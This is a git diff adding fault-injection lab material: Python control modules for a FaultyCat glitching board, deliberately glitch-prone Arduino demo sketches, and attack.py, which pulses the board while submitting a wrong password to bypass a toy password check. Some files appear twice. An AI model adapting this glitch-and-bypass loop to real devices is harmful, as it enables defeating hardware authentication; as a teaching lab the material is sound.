diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
new file mode 100644
index 0000000..0bb2e54
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
@@ -0,0 +1,68 @@
+import threading
+import time
+import typer
+from rich.console import Console
+from rich.table import Table    
+
+from .UART import UART
+from .ConfigBoard import ConfigBoard
+
+class FaultyWorker(threading.Thread):
+    def __init__(self):
+        super().__init__()
+        #self.daemon = True
+        self.workers = []
+        self.board_uart = UART()
+        self.board_configurator = ConfigBoard()
+        self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"]   
+        self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"]
+    
+    def add_worker(self, worker):
+        self.workers.append(worker)
+    
+    def stop_workers(self):
+        for worker in self.workers:
+            worker.join()
+    
+    def run_workers(self):
+        for worker in self.workers:
+            worker.start()
+    
+    def set_serial_port(self, serial_port):
+        self.board_uart.set_serial_port(serial_port)
+    
+    def validate_serial_connection(self):
+        return self.board_uart.is_valid_connection()
+    
+    def set_pulse_count(self, pulse_count):
+        self.pulse_count = pulse_count
+        self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count
+    
+    def set_pulse_time(self, pulse_time):
+        self.pulse_time = pulse_time
+        self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time
+    
+    def start_faulty_attack(self):
+        try:
+            self.board_uart.open()
+            time.sleep(0.1)
+            typer.secho("Board connected.", fg=typer.colors.GREEN)
+            typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            time.sleep(1)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+            
+            typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN)
+            time.sleep(1)
+            typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN)
+            for i in range(self.pulse_count):
+                typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN)
+                self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+                time.sleep(self.pulse_time)
+            
+            typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            self.board_uart.close()
+            typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW)
+        except Exception as e:
+            typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED)
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
new file mode 100644
index 0000000..f503922
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
Binary files differ

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
new file mode 100644
index 0000000..0bb2e54
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
@@ -0,0 +1,68 @@
+import threading
+import time
+import typer
+from rich.console import Console
+from rich.table import Table    
+
+from .UART import UART
+from .ConfigBoard import ConfigBoard
+
+class FaultyWorker(threading.Thread):
+    def __init__(self):
+        super().__init__()
+        #self.daemon = True
+        self.workers = []
+        self.board_uart = UART()
+        self.board_configurator = ConfigBoard()
+        self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"]   
+        self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"]
+    
+    def add_worker(self, worker):
+        self.workers.append(worker)
+    
+    def stop_workers(self):
+        for worker in self.workers:
+            worker.join()
+    
+    def run_workers(self):
+        for worker in self.workers:
+            worker.start()
+    
+    def set_serial_port(self, serial_port):
+        self.board_uart.set_serial_port(serial_port)
+    
+    def validate_serial_connection(self):
+        return self.board_uart.is_valid_connection()
+    
+    def set_pulse_count(self, pulse_count):
+        self.pulse_count = pulse_count
+        self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count
+    
+    def set_pulse_time(self, pulse_time):
+        self.pulse_time = pulse_time
+        self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time
+    
+    def start_faulty_attack(self):
+        try:
+            self.board_uart.open()
+            time.sleep(0.1)
+            typer.secho("Board connected.", fg=typer.colors.GREEN)
+            typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            time.sleep(1)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+            
+            typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN)
+            time.sleep(1)
+            typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN)
+            for i in range(self.pulse_count):
+                typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN)
+                self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+                time.sleep(self.pulse_time)
+            
+            typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            self.board_uart.close()
+            typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW)
+        except Exception as e:
+            typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED)
